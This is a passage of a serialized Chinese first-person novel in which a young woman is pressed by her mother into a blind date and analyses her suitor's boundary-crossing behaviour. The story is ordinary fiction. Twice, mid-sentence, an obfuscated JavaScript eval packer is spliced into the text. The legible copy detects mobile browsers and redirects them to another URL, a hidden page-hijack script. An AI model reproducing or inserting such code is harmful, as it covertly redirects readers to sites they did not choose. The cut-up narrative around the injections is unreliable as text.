“好在中途休息的时候,前面车上的朋友,让她老公和我换了座位。不然,我铁定不让他开下半程。” “之后就蛮好了,我和我朋友一路上有说有笑,还换着开了一回。” “哈哈,真是难评。”我说道。 “介绍给你的那个人长什么样?”我主动问道。 “你吓我,跟我们一样的年纪呀,蛮大个肚子,头发都没有几根了!” 这位姐也是一个颜控。 “好吧。” “她们当时还把我和那个人的座位安排在一块,不过,他话不多,也没聊几句。” “我也明白为什么我朋友给我介绍这么个人,但心里还是有些不舒服。” “后来我就想呀,如果这世上只有两个人,就我和那个男生,我宁愿一辈子单着,都不得和他在一起。” “单身很奇怪吗?虽然我身边的女生大多都结了婚,但也不是个个都过得幸福。各种鸡飞狗跳的事情,只有你想象不到的,没有不可能的。你知不知道一个叫‘北美万事屋’的博主,他主页上的故事,蛮多都是真的。你要是想知道,我可以跟你讲一些。” 那个博主火的时候,我看过几篇,让人不忍直视。 “大可不必,我懂。”我连忙推辞。 “不过,我们也到这个年纪了哦!一转眼,彦彦都要上小学了!”她感慨道。 彦彦是江璟的小孩,笑起来甜到人心里去了,十分惹人疼爱。别人家,夫妻两个加上双方父母,照顾一个小孩,也不定忙得过来。江璟就不一样了,彦彦稍微大一些,她可以一个人推着婴儿车,带着彦彦四处去玩。江璟一直都是社交达人,彦彦打小也是个社牛,从不认生,即使有时被逗哭,一下子就能哄好。光是看他娘俩在那掰扯,都觉得很有意思。 “江璟结婚的时候,我在国外,不过,你也没去吧?”溪辞开始回忆往事。 “琼雪结婚的时候,我和江璟都是请假去的,那一回,你也不在。” “我觉得,你还是多跟家人接触比较好。你现在在家,学累了,找她们出去玩一下,也不错。” “我昨天还看到江璟发的照片,她带彦彦去玩水啦!室内游泳池,也不晒人。” “你最近去游泳了吗?”我问道。 “没有,这边人喜欢去海滩。” “还是去做普拉提?” “嗯,不过,没之前那么频繁了。” “现在每周都得去公司,项目又忙,周末哪里起得来床呐!” “你等一下,我到家了。我先开个灯,今天有快递送到。” “行。” 一会后,屏幕再次亮起。 “我之前给你看过这个房子吧?”她问道。 “嗯。” “我现在在客厅,东西拆完了,把垃圾收拾了,再拿上去。” “给你看我新买的皮靴,三折哦!” 她切换摄像头,把手机对着地上。一双棕色油蜡皮切尔西靴映入眼帘。 “我只是试给你看,肯定不是这个时候穿。” “晓得。” “还蛮好看的,”我赞美道。 “是吧,我也觉得。” “那你拆快递吧,我还没有吃午饭。” “好吧,拜拜!” “拜拜!”话音刚落,她挂断电话。 我和江璟的关系算不上坏,但也绝非亲密。大伯母出事那会,爸爸手机信号不好,他们家人联系不上他,便让江璟给我打电话,想要妈妈的联系方式,却又不说有什么事。那是一八年前后,我一人住在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你先不要去。过段时间,我赚到钱,事情就会好转。”爸爸这样回答。 我并非不知道,妈妈不愿花钱给我买药。很多事情,计较得那么清楚,又如何?就算是我自己,去中医院挂个号,给自己在网上买丹参养心茶,又有什么不可以?自己都做不到的事,又有什么理由去指责别人?自己能够做到的事,又何须指责别人? 不过,看着桌上的两瓶丹参破壁饮片,和三十支生脉饮,我稍微有些心安。 这些天,仍在尿频,不时也会心悸,早上闹钟没响就会起来,中午也睡不了一会,可时间加起来,每天也能睡上五、六个小时。中药见效不快,可已经在救我小命。我相信,睡好了,也会恢复得更快。还是现代好,古时候,穷人连盐都没得吃,哪来钱买药?有时候,心情难以调整,有可能是身体透支了。补元气,养好身体,能够好好休息,一切都会一点一点好起来。 “身体好才是真的好”,只有在身体出了状况后,才能举双手双脚赞同。 时至今日,我仍然无法鼓起勇气重新开始。可是,能吃苦,就能继续上路。不要怕吃苦,为梦想曾经不顾一切的我,是最棒的。人都有熬不下去的时候,想着明天,就过不好今天。之前觉得放暑假没了学生生意会很难熬,现在每天也还行;觉得天气很热自己会扛不住,这些天尚在接受范围内;至于三伏天会不会更热、到底有多热,现在虽然担心,可到时候验证了,自己也会心宽。今早炸完一个小时二十分钟的面窝,坐在小板凳上,还觉得有些舒服。 天热有风,大太阳有荫,苦中也会有甜。 晚上,钱鹄又发来一张照片,木地板上放着一张俯卧撑板。 他配言道:“刚刚把地板拖了两遍。” “今天就不出去了,在家做几个俯卧撑。” 我意识到,和钱鹄聊天,自己的反应有些单一。两个人要想好好相处,还是得有话聊,和互相递话。不过,还是以随和为主,费心力就过了。 “你能做多长时间的平板支撑?”我问道。疫情后,我跟风买了健身环,还关注了帕梅拉的账号。 “这个不行,看着简单,做起来蛮累。” “你的自行车是什么牌子的?我好像没见过。”他问道。 “迪卡侬。” “我看了一圈,不知道买哪辆好。” “我以前也买过一辆,放在榕潭,就是坏掉了。我让我爸爸找人修,修好了也是一样的。” “这个星期回来,我再陪你骑车。” “不用,太热了。我不想骑了。” “啊,我车子都拿去修了!” “运动这种事,不用追求形式。做家务,流点汗,不是一样的。” “好吧。” 55. 2025年7月,第28周 55 [2025年7月,第28周] 下午去到店里,隔壁小阿姨拿来一袋烂芒果。虽不知道她什么意思,可难掩自己面部的嫌弃。 “对门水果店给我的,我又不吃这些,拿来给你们。”她说道。 对面有两家水果店,常来照顾生意的是天天水果店的夫妻老板。另一家果香园的开业时间更早,生意却不及天天。商业街的店铺,多是夫妻搭档开店:肉店的男老板负责分肉,女老板收钱;蔬菜店的男老板上午守店,女老板下午换他回去休息。隔壁小阿姨也是和兄弟搭伙,唯独果香园,大多数时候,只女老板一人在店。她到店的时间同天天水果店的男老板差不多,然后一个人在门口收收拣拣,搬进搬去,天气这么热,也不见她开空调。隔壁天天水果店,六月份的时候,门口就轰轰作响。他们家总是男老板先到店,把卷帘门打开,女老板姗姗来迟,才在店里收拾打扫。 果香园的老板把烂芒果给小阿姨的时候,我正好在门口看到了,谁知她竟拿来了这边。 妈妈面色如常地接过,“这敢情好,谢谢啊!” “小姑娘,听你妈妈说,你在相亲咧!”她打趣道。 “是的,女孩子总要嫁人的,小阿姨等着喝你的喜酒啊!” 我没作声。妈妈连忙替她解围:“承你吉言啊!” 小阿姨走后,我对妈妈开火:“你嘴巴怎么长啊,八字还没有一撇的事,谁哪个你都讲?” “哎哟,别人还不是关心你。”这句话可把我堵得。 望着妈妈手上那袋芒果,我说道:“都烂了,还转了几手,你接过来干嘛呀!” 妈妈完全不在意:“哎哟,就是有黑点嘛,挖掉也能吃。” 我完全不能理解。妈妈确实喜欢吃芒果,但她以往买的,一个顶这五个大。 “我给你榨芒果汁咧!”她灵机一动。 “不用,谢谢!”我连忙拒绝。 “哼,等一下我榨好了,你别馋得又说想喝!”真是老生常谈的一句话,都听得我耳朵起茧了。 我从来没见过她这般耐心地收拾那些又小又烂的芒果,她把垃圾桶踢到脚下,避免把地板弄脏。挖去烂掉的部分,又把核去掉。不管怎样,她把果肉放进料理机,不成形的果肉不时还流下几滴汁水,叫人不忍直视。她从冰柜拿出一瓶矿泉水,倒入料理机,榨完汁,又拿来两个一次性塑料杯,倒了进去。 只见她走到门口,喊道:“淑芬!过来喝吔!”把其中一杯递给小阿姨。 小阿姨喜笑颜开,“哎哟,还是姜姐你手巧!我都没想到还可以这样!谢谢啊!” 妈妈将另一杯递给我,我摇摇头:“我说了不喝的,”她便放在了一旁。 “我的背这两天疼得厉害,坐下都不行,要么站着,要么躺着。”小阿姨边说边用手碰背。 “睡觉也只能仰着睡,还得垫个枕头在下面,不然疼得睡不着。我去药房买膏药,嘞,现在正贴着。” 妈妈来了兴致,“欸,你今天问对了人。” “我教你唦,躺在床上的时候,不用垫东西,你就把膝盖弯起来,来回交替地抱膝把大腿往胸前怼。” “不用蛮大的力,一开始弯不过来也没关系,慢慢地,就抬得上来了。” “还有一个动作,平时坐着就可以练。”言语间,妈妈坐到椅子上。 “翘二郎腿总会吧?你翘左边腿,就把身子往右侧;翘右边退,就往左侧。” “五个一组,每天来个四组,保证你的背再不得疼。” “我每天还不是这样锻炼,年纪大了,各种毛病都来了。蛮好的效果,你试了就晓得。” “可我现在坐都坐不下来呀!”小阿姨说道。 “哪个要你现在做咧?这一阵子过去,恢复了之后,再来练。” “听我的,没得错的!” “好吧,那我回去试一下。” 店里来了人,她端着芒果汁连忙回去。 妈妈再次拿起芒果汁,欲递给我。 “你怎么不喝咧?”我问道。 “我对这个过敏。” 我不欲追问。 “你不喝不就浪费了?”她有些强赖的意味。 “本来就该扔的,费这大劲。” “那你帮我洗料理机咧?”她再次开口。 “哪个用的哪个洗。”我拒绝得干脆。 用完晚饭,我收到钱鹄消息。 “我马上回来的,你等我一起遛狗啊!” 我连忙往家里赶,却在家楼下看到他。他的头发完全不似剪过,手里拿着两瓶三得利的饮料,递给我一瓶。 “谢谢。”我说道。 “你在楼下等一会,我上去牵狗。” 闻言,他停下脚步,说了声“好”,却作势要牵我的手。 我把手腕一扭,说道:“已经好得来了。” 他握住我手腕,顺势盯着水泡看,还碰了碰创口:“好几个泡哇!还疼吗?” “搽了药慢慢就好了。” 这突如其来的肢体接触,让大脑迅速冷静了下来。我从没遇到过这种阵仗,无论如何举措,只想着不要把场面弄得难看。心中并不慌,两人站在院子门口,头顶就是摄像头,我盯着他,并不言语。 他未进一步动作。他有些讪讪,松开了手。 回到楼上,我在水龙头下反复冲洗手腕。钱鹄给人的感觉,并不像蛇那么冷冰冰,伺机将猎物吞入口中。可肌肤上干燥却有温度的触感,难以从脑海中抹去。 男女生相亲,所求并不同。同一段婚姻关系,女方可以是寻求未来的保障,而男性,除了传宗接代,还有另一个驱使他们更渴望相亲并在相亲过程中更为主动的原因,那就是生理上的需求。 若说以前,我觉得钱鹄善良,可他一不知进退,二不尊重女性,第三点,则是在男女大防上,试探得过于熟稔了。统共不过出去玩了两回,他就动起了手脚。 我不知他如此举措的背后,立足点何在。论条件,他方方面面让人不愿提及;钱财上,我一向拎得清,并没有占他人便宜。可见,那些在相亲过程中指责女性拜金的,不过是想要空手套白狼罢了。女方出钱又如何?我承担了自己的那部分开销,姑且不谈这场相亲并非出自我所愿,却反被对方占了便宜。 我定了定心绪,牵着脱兔下楼。 现在将近七点。我主动开口问道:“今天也是在杉湖吃了饭才回?” 他闻言一愣,答道:“嗯。” “你爸妈两头跑多累呀,周五的话,反正要回榕潭,你打的回来也行呀!” “他们在家也没事做。”他毫不在意。 “而且,榕潭的老房,水压贼低,洗澡很不方便,他们可以顺便在杉湖的房子洗澡。” “每天都是这样?”我吃惊道。 “嗯啊。” 我打量了一下他,他身上穿着灰色短袖。“你现在已经洗了澡?” 他不好意思地挠挠头,“今天赶着回榕潭,洗的有点急。” “这么热的天,那不是白洗了。”我挑眉道。 “回去再冲个凉,没事的。” “难得你今天没有穿黑色。” 他接着我的话说:“我的衣服基本上都是灰色和黑色,裤子也都买的长裤。你也知道,日常工作中,免不了把东西搬来搬去,白色容易脏。” 他特意拢起袖子:“你看,成天在外面跑,晒得这明显的一道分界线。” 我皱了皱眉。他本就生得白皙,也就是稍稍能看出点分界,哪有他说得那么严重。 “你明天想吃什么?”他问道。 “都行。” “你知不知道我和朋友常去吃什么?”他再次以提问开始一个话题。 我擤了擤鼻子,答曰:“不知道。” “我们最常吃的是烤鱼。你知不知道为什么?” 我沉默了一下。“下酒吗?” “那不能,这样容易得痛风。”我觑了他一眼,这还是我头回听说。 “单位的食堂特别难吃,我不喜欢点外卖,实在吃腻了,就和同事去外面打牙祭。我们公司离安乐的美食街蛮近,可以步行过去。” “烤鱼不贵,量又大,平摊下来,一个人也就二三十块钱,好吃还划算。” “要不然,我们明天去吃烤鱼?”他提议道。 “我不吃鱼。” “啊?为什么咧?怕刺吗?”他嬉笑着问我。 “为了那点肉,费那大劲,何必咧?” “也是。”他许是没听过这种说法。 “不过,老话不是说,会吃鱼的聪明嘛!我爸爸特别喜欢吃鱼,我妈妈经常烧鱼块给他吃。” “那你喜不喜欢吃甲鱼咧?”他问道。 小时候在乡里吃席倒是常啃甲鱼壳。那都是好久之前了。 “现在还有人吃甲鱼?”我皱着眉头问。 “多着呢,甲鱼滋补!我爸爸每回打牌赢钱,都会去菜市场买甲鱼,让我妈烧着吃。” “还有黄鳝,用黄瓜和大蒜烧,可香了!” 印象中,鳝鱼可以治面瘫。“那只能晚上吃吧?” “为什么?”他不解道。 “吃大蒜会有口气呀!” “还好吧,我屋里每餐都吃大蒜。不仅菜里有,你知不知道糖蒜,那个东西可下饭了。” “我爸爸第一次买回家,我也是不愿意吃。但吃着吃着,少了还不习惯。” “你吃不吃牛蛙咧?干锅牛蛙,又香又嫩!” 他们家是怎么了?吃的方面,如此看重男子气概。我从来没有与人这般吃不到一处。 “你蛮会吃啊!”我夸赞道。 “那是,吃的方面,我还是蛮讲究的。”他颇有些得意。 我继而说道:“我只吃常见的肉。” “好吧。”他声音中带着惋惜。 “小龙虾总吃吧?”他再次开口。 “你喜欢吃小龙虾?”我不答反问。 “夏天都吃小龙虾呀!我家家昨天买了一大堆虾子,烧好了让我妈妈带到杉湖去给我吃。” “你外婆挺疼你的。” “那可不,我毕竟是在她身边长大的呀!” “你一般在外面都吃什么呢?” 他问道。 “复兴村那边有个商超,晚上八点后熟食打对折。要是下班得早,还能赶上。” “都有些什么呀?” “三文鱼、烤鸭,还挺多。” “我喜欢吃三文鱼。”他突然来这么一句。 “还有紫燕,周末去菜市场的时候会买一些。”我补充道。 “紫燕呀,我也喜欢吃。” “哦,你一般买那种?”我起兴道。 “唔……那个,就是他们家的招牌,叫什么来着?”他说不上来。 “那个鸡是吧?” “嗯,还有那个,呃,都是辣油,叫什么来着……” “夫妻肺片是吧?” “欸,我有时候买这两样。” 都不知道他怎么报的菜名,怕不是随手一指。 “你的狗一般吃什么咧?狗粮吗?”他问道。 “太贵了,买不起。在家给它下面条。” “它还吃面条哇!那为什么不直接喂剩饭咧?” “面条只是它的主食,一起的还有蔬菜和肉。” “听上去就觉得麻烦。” “对它好就行。” 没得钱,还出不了力?喂再好的狗粮,一到春天,脱兔必定得一次皮肤病,打针才会好转。主食换成面条后,却再也没有过了。总之,我能吃的,少油少盐,它就能吃。进口狗粮的肉类标准低于人类食品的标准,就一点,喂脱兔人吃的食物,价格更低,却对它更好。 上班的时候,我也只周末能吃上青菜,可脱兔每周的荤素配额,都是提前买好的。新鲜的食材,谁又不爱呢? “再让我牵一回吧?”他提议道。 我把绳子递了过去。这一回,许是白天的缘故,脱兔回头蹭了我几回,钱鹄顺手还摸了一下它。他穿的黑色长裤,黏了毛看得特别明显。 他拍了几下,说:“没事,我回去慢慢弄。” 这次他也没能坚持多久,“还是给你吧,实在是费劲。” 到家楼下,我和他说:“今天就到这吧,我上去的!” 他却有别的想法:“现在还早呢!明天去哪里都没有说好。你多陪我一下嘛!” 他再次和我撒起了娇!我仍觉得不适,却不好在面上表露出来。 顷刻间,我拿定了主意。 我牵着脱兔回家,他亦跟在我身后,上了楼。 继续见面,他进到我家,是迟早的事。我也没拦,打开门,对他说:“洗脸池在那边,摸了狗的,洗一下手吧。” “好!”他答应得爽快。只见他越过肥皂,挤的泡沫洗手液。 把胸背取下,脱兔即刻去喝水。他既然跟了进来,却杵在卫生间的门口,同上回一样,有些局促。 我拿来粘毛滚筒,递给他:“粘一下吧。” “好的,谢谢!” 他撕起粘纸来,看上忒费劲,可这无碍于他想把裤子粘干净。我靠在门柱上,看他操作,也不说什么。最后,他抓着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301330|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 团垃圾,问我扔在哪里。 “去店里吧,你可以扔到楼下垃圾桶。” 他许是没想到我会这样安排。 “你先出去,我好关门。”我吩咐他。 “哦,好。”他有些不情愿地迈了出去。 脱兔趴在地板上,很是乖巧。“一下就回啊!”我安抚它。 “狗子单独在家,都不关进笼子吗?”他主动开口。 “看到客厅的沙发没?”我问道。 “看到了哇,怎么了?” “那套皮沙发是我妈在博览会上买的,不算贵,花了八千块。我原先也不让狗上沙发,可我妈说了,养狗一辈子也不便宜,几千块的沙发,有什么舍不得的!” 他面上青一阵白一阵,可又忍不住接着问:“那你家狗上床吗?” 我觑看他一眼,说:“狗毛太多了,这个不得。” “小时候就觉得你家很大,现在看还是这样觉得。变化也不小,家具全换了吧?”他再次找到话题。 “你来过我家?”我皱着眉头问道。 “你带我来的呀!” 听他这般说,我脑子一团浆糊。我只记得和他在下街压过一次马路。罢了,别说那时的我,就是再年长几岁,做事依然不过脑子。年少时的我,胡来惯了,竟干荒唐事。 话说回来,家里虽没有装修,灯具之外,还在宜家买了好几样大件。摆在客厅的,有合起时就可容纳六人的实木餐桌。带贵妃椅的皮质沙发并仿大理石茶几买得早些,也在我上大学之后。 店门口停着一辆折叠自行车,看来,颜盐也在店里。母子二人的进攻态势,真可谓是非比寻常。 “倒是巧了。”我打趣地望向他。 走上台阶,我喊道:“妈!” 她正和颜盐聊天。 “你们怎么来了咧!狗遛完了?”妈妈开口问道。 “嗯。” “怎么不在外面逛咧?”颜盐亦开口。 “有什么好逛的?还热。”言语中,我坐到最里的那张方桌,打开电扇。 “哎哟,你也是,也不说给人家买点什么,水果也行呀!”颜盐嗔怪她儿子。 钱鹄刚入座在我对面,立马问道:“你想吃什么?” “不用,我不喜欢吃水果。” 他都起身了,又颤颤巍巍地坐了回去。 “店里有冰镇的绿豆汤,我给你们拿出来。”妈妈倒主动。 “钱鹄说他剪了头发,我硬是没看出来。”我主动和颜盐搭话。 “剪的个鬼,还不是那么长。”颜盐亦看不惯钱鹄头发的长度。可她说这话时,却低着头,眼睛往斜下方瞟。 许是看大家都不说话,“哎哟,屋里还有一堆事没做,我先回去了啊!”他妈妈主动告辞。 “还有个事吔,小翕,”颜盐居然有话要对我说。 “你呀,再不要抢着付钱。钱鹄他是男生,让他给。”这话说得倒叫人纳闷。 我也没应声。 妈妈出来当和事佬,“哎哟,他们两个的事,让他们商量着办,我们就不干涉了!” 我瞥了她一眼,话倒说得好听,不都如她愿了嘛! “行吧。那我走得啊!你们慢慢聊。”临走,她还不忘嘱咐一句。 钱鹄拿起手机开刷,却不动妈妈递给他的那杯绿豆汤。 我望着妈妈,目光又转向绿豆汤。 “我也去忙,你们自己招呼自己哈!”她不接招,借口还没做完卫生。 钱鹄将手机保护得很好,他把屏幕朝向我,却紧紧握在自己手中。他再次试探道:“要不我们去凯德吧?楼上有一个室内游泳馆。” “那边有什么吃的?”我问道。 “我看一下哈,”他收回手机,再次刷了起来。 “你吃过台湾菜没有?” 这倒听得很少。我瞅了一眼,是地下一层的一家小店,人均不到四十。跑那么远,怎么样也得打一下牙祭呀!周末这一餐,多少也要给身体补点营养。 “秀悦城知道在哪吗?”我问道。 “知道,离我公司不远。” “去哪里吧,有一家连锁寿司店,味道还不错。” “可以,正好我蛮久没吃寿司了。” “我之前在轻轨上看到一家店,一直想去吃,秀悦城也有分店。”他划拉着屏幕,“叫吉府烤串。” 我在应用里搜索,发现是延边那边的特色美食。我还是更吃得惯上庸的烧烤,兴趣并不大。我摇了摇头。 “那看什么咧?”他问道。 我打开手机,刷了起来。 “布拉德·皮特的新片正在热映欸!”他提道。 我锁上屏幕,对他说:“就看这个吧。” “行。”他答道。 “明天几点见咧?”钱鹄问道。 我想了想,“一点吧。” “行,”他应声,却横过桌子,拿起我扣在桌边的手机。 “这是十六代吧,”他边说,边按下电源键点亮屏幕,却也只能停在这一步。 “相机按钮好用吗?”他随之按下,又在屏幕上点了几下,却不见我有任何举动。 他并未就此还回手机,而是把手机壳卸了下来。 他用的和我一个牌子的手机,也是旗舰版。外面套着一个茶色软胶壳,上面印着醒目的“平安顺遂”四个大字。 我继续不动声色,看他意欲何为。 “呵呵,手感确实不错。”他打了个哈哈。 “你手机背面怎么有水?我帮你擦擦。” 我每天都会用湿巾给手机和外壳消毒。许是昨天没有把水渍吸干。 他抽出一张纸巾,擦过后,把手机壳套上,递还给我。 妈妈这时走了过来。钱鹄仍未动绿豆汤。 “你不喜欢绿豆汤吗?”她问道。 “我晚上吃的有点多,肚子还是饱的。”钱鹄回答。 “哦。”妈妈面上有几分失落。 “我拿回去给我家家喝,她爱喝这个。”钱鹄连忙找补。 “呵呵,行。一杯够不够唦?冰箱里还有。”妈妈一下子就被哄好了。 “够了,她也吃不了蛮多。”他连忙拦下。 “行!我的事也做完了,你们再坐一下咧?我去隔壁谈下家常。” “几点钟了,你不回去睡觉的。”我说道。 “就这样吧,我也要回去了。”言罢,我起身撑了个拦腰。 钱鹄见状,只得站了起来。 “你们商量好了明天去哪里没唦!”妈妈问道。 “说定了。那就这样,我回去了。” 56. 2025年7月,第28周 56 [2025年7月,第28周] 九年义务教育,再加上三年高中生活,老师和父母一直耳提面命不许早恋。我敢在考试拿零鸭蛋和翘课上挑战父母的底线,于谈恋爱这件事,却不怎么想越过身为学生的操守红线。主要是,拿父母的钱谈恋爱,无论如何,我都觉得说不过去。 我不认为钱鹄的行为属于正常范畴。我习惯与男性相处,这么些年,就言语和行为上的冒犯,只泽铯的一位男同事,兴起时双手撑在了我的肩膀上,我立即用食指朝他作出警告。之后,他再无此类行为。 女孩在人生前十八年被教导与男生小心接触,可十八岁之后,在某些特定情境中,社会对男性的上下其手包容得超乎想象。钱鹄今天光天化日之下捏住我的手腕,即使在相亲这一情境,将肢体接触归结为占便宜,并非完全站不住脚。可是,若宣之于口,有谁会当回事?如果向他人倾诉,我并不认为会有失颜面,我在意的,是被人嘲讽为大题小作。这一顾忌,比羞辱更甚。 钱鹄的行为让我觉得不适,可我认为与色心无关。不必在两人是否确立关系这一层面讨论,在我看来,他的越界行为并非“发乎情”。我今天穿着插肩T恤,肩部和短裤的颜色同为军绿色,就是自己也觉得不忍直视。他为人与油腻沾边不多,咸猪手的定义,安在他头上,不太合适。 初见钱鹄,就有一种极其稀少的违和感涌上心头。无关性情与容貌,而是从柔和中四溢的兴奋神态。这一兴奋,惯常从他的言行举止中逃逸。《少年赌神》里,高进头部中弹,回想起他妈妈对仇人的描述:“他好像永远对着你笑,笑得你心里发寒。”可仇人的两面三刀是为了利益,迷惑性是目的,而非本能。 结合他后续拿手机并卸下外壳的行为,即使归为试探,也算不得准确。单论试探,稍有常识的人,也知道出师不利,见好就收。可他一而再、再而三无视情形的主动,对此,我可以给出两种解释:第一种,他无法接收并理解他人行为的反馈;第二种,背后支持他如此行为的动机太过强烈。这两种解释并不冲突。 以上是理性的分析,归结于样本有限,无法继续延伸。至于感性的直觉,心心随妈妈搬回楼上,曾在脱兔的行军床上,对想要拣玩具的脱兔,狠狠下嘴。狗的领地意识太过强烈,在狗仗人势的加持下,毫无道理可讲。 即使妈妈作势责怪心心,我也明白这狗在鱼池那种护卫犬散养、未开化的环境中的生存之道,可用碘酒给脱兔消毒的时候,看着它前肢流血的数个黑窟窿,我心疼得不能自已。 脱兔体格较心心大之数倍,打斗时亦呲牙咧嘴。可它知道分寸在哪,心心背上有口水,却不见半个伤口。反倒是心心咬着脱兔不放。我把那狗隔开后,脱兔犹如丈二和尚——摸不着头脑。 脱兔根本不明白发生了什么,论领地意识,是心心和另外两只小狗霸占了它的床,可它完全不在意;论攻击性,脱兔被咬伤了,却连还口都不知。 除去这一冲突,心心并另两只狗虽是后来者,却整日守着妈妈的房间。脱兔有心与妈妈亲近,却只能趴在门口。就是那三只狗内部日常相处,心心作为公狗,平日里享受着另两只的舔毛和让食。阶级性吸收容纳性别优势,这也是职场上男性领导有可能对女性职员特别打压的原因。作为男性,过往经历融入骨髓的根深蒂固的权威和掠夺,让这类人无法直面异性带来的危机,他们内心深处不容女性挑战的根本,使得生物本能凌驾于理智之上,无脑地用性别论对女性职员展开打击。结合对方能力不足,优越性不再,幕后推动的自卑也就现出了原形。 这种情形,不争即是争。“不要跟傻逼争论,他会把你拉到他的水平上,然后用他的经验打败你。”指代虽不同,却是相通的道理。 在榕潭上学,并非我托大,整个学校的男性学生都没能越过我去。去到杉湖,虽然初中班上的前两名都是男生,而且是智力和学习习惯都让人信服的那种,班上的风气却一直很好。高中分文理科,免不了有那种拿女生学理科说事的无知之人,可我学习作风不好,成绩却说得过去,碰到这种事情,我往座椅上一靠,不免觉得讲台上口若悬河之人是个大傻子。 外婆家自不用说。我升学路颇顺,而姜斯承在班上有吊不完的车尾。至于姜斯童,游戏打得不错,他家原先住在上庸教育资源最为丰富的上康,却在安乐上高中。至于哪所学校,问了也不知道。奶奶家阴盛阳衰,我这一代全都是女孩子,溪辞的升学路,亦没有坎坷。她初高中就读的都是竹溪最好的学校,放眼全市,也进得了前十。爸爸虽无心栽培我,只觉得我学业勉强能看,可和他同事家的那些个吞金兽相比,不至于长脸,倒也不会面上无光。这一点,他心甘情愿给出的生活费可佐证一二。一言以蔽之,社会这么大,什么鸟都有。自己手上有哪些底牌,又行过那些桥,若是叫他人知晓,“山外有山,人外有人”,只会贻笑大方。可若放在心中压秤,却可以自矜而不落下乘。 我与拉郎配距离最近的一次,是驷铠的开发经理在团建烧烤时私自拍下照片,并发到群里。照片中,我佝着身子,一只手端着盘子,另一只手用刷子蘸取酱料。镜头对准的另一人,是坐在石凳上负责烤肉串的未婚男同事。这张照片并未激起水花,其他同事发的照片持续冲刷着屏幕。 我总在规范脱兔的行为,教它不争不抢,不能伤害其他小动物。脱兔很乖,一只狗在家的时候,监控视频中,只换着地睡觉。脱兔一不拆家,二不护食,连领地意识都没有,被驯化得无比融入人类的生存环境。可我却没有尽到自己相应的责任,将它好好保护,让它生活在一个和谐友爱的环境中。我深知,这是我的过错。 “别人打你一巴掌,你回他一巴掌,这不叫公平。因为你并没有想打人的念头,却无端受到了伤害。”我在网上看过这样一段话。 双方处在不同维度,低阶的一心掠夺资源,高阶的追求和谐友爱、共同发展,相互之间,理解起来都费劲。具体情形的得见,让我想到了斗兽棋,食物链顶端的象,却能被最底层的老鼠钻进鼻孔,因而落败。 《李卫当官》开头,四爷就作了这样一番感慨:“佛为什么说道高一尺,魔高一丈?就因为魔是邪呀,他什么手段都敢用!可是道呢,太正太守规矩,只知道明来明去,所以处处撒不开手,处处被魔所制。因此啊,正,是指正心诚意,但是为了制魔,我看哪,不妨也来一点邪的手段。” 这同修缘和尚的“酒肉穿肠过,佛祖心中留”同源。 我认为,钱鹄的越界行为,更像是在找场子。那种不被供着的不甘,驱使他想要掌控局势,便行了这类压迫控制之事。 身在相亲局中,非我自愿。又是个生手,全局观有待建立。有自己的打算,又担心与常识相悖。行动起来,颇为被动。而且,就目前看,即使没有确定关系,肢体接触好似难以避免:动辄得咎的话,很容易被扣上小题大做的帽子;可一旦发生,让人身心膈应。 我对相亲的了解,还是太少了。 我在网上搜索“相亲”关键字,竟叫我发现了“三次约会定律”:第一次约会,用以初步筛选和印象管理;第二次,进行深入了解与价值观考察;至于第三次,则是根据情感默契和肢体接触的接受度,推进关系或者明确界限。 前两次不知作何评价,可第三次,钱鹄竟然严格按照这个步骤进行试探。 另外,我还看到了一个观点:“相亲不是恋爱,是奔着快速结婚去的,双方对此应该有一个基本的共识和认知。” 于我,并非是进入了相亲这个阶段:从头到尾,没有第二个相亲对象出现,只钱鹄一个。相亲只是相看他的一个途径。而且,要说拒绝,能做的我都做了。 之所以继续见面,在于妈妈打着“为我好”的旗号。我只是同意继续相看,后续的,从未作出过保证,妈妈一厢情愿,那是她的事。她不曾在明面上用武力逼迫于我,而是在四周,布满了软钉子。在自我意愿这方面,我已想不起上次被人违逆是什么时候,人已然狂妄到,根本不去考虑这个可能的存在性。 就像这一回我完全没想过妈妈不答应借钱给我会如何:那个时候,我面前有两条岔路,手里握着offer,才向她提出请求。若是她不同意,我去上班就是。只不过,我偏向的是考公这条,踏上的,也是这一条。因此,我后续考虑的,是如何面对妈妈借钱给我的这一行为。至于另外一条路,我压根就没有设想过之后的事,自然,对于自己留有的余地,既不在意,也不清楚。 我从来不是亡命之徒。即使是网贷暴雷那一次,我手中亦握有多个选项。其中,向父母低头,才是我最不愿意选择的那一个。 同时,我心中隐约觉得不对。即使我对相亲了解甚少,却也有着最基本的认知:把双方条件摆在桌子上讨价还价。这一幕虽然不堪,却从未进行过。 钱鹄各方面条件,我不愿意提及,也没有其他人,点评过一二。大家都对他的短处避而不谈,只拣好的说,并称赞为不错。好似遇到一个处处都不行的人,人们便不忍心指出他的不足,于是乎,大发善心地将此人概括为还不错。至于他身上那些还能说得过去的地方,更是要大加褒扬。然后,他便成为了众人眼中完美无瑕、值得信赖的绝佳人选。 好比姜斯承,我少有听过别人说他的不是,更有甚者,爸爸说其愚钝,暗示我若如他那般,早早就会被他放弃。我只觉得爸爸过分。姜斯承光是不做声,在那站着傻笑,人们就会为自己的态度感到抱歉,言语间不免愈加柔和。更有甚者,觉得他性格好,平添几分喜爱。这些人中,妈妈尤为吃这一套。 我已看出,各种于妈妈无用的好,时不时,还要被她踩上几脚:譬如学历,原先她那般看重,如今却是再也不提;譬如看书,这个爱好已被她讥讽了好几回。而听话受人摆布这一绝世优点,才是最对她的胃口。她有大志向,却不是建功立业,惠及千秋,而是享受指挥傀儡、为己所用的至尊之感。她 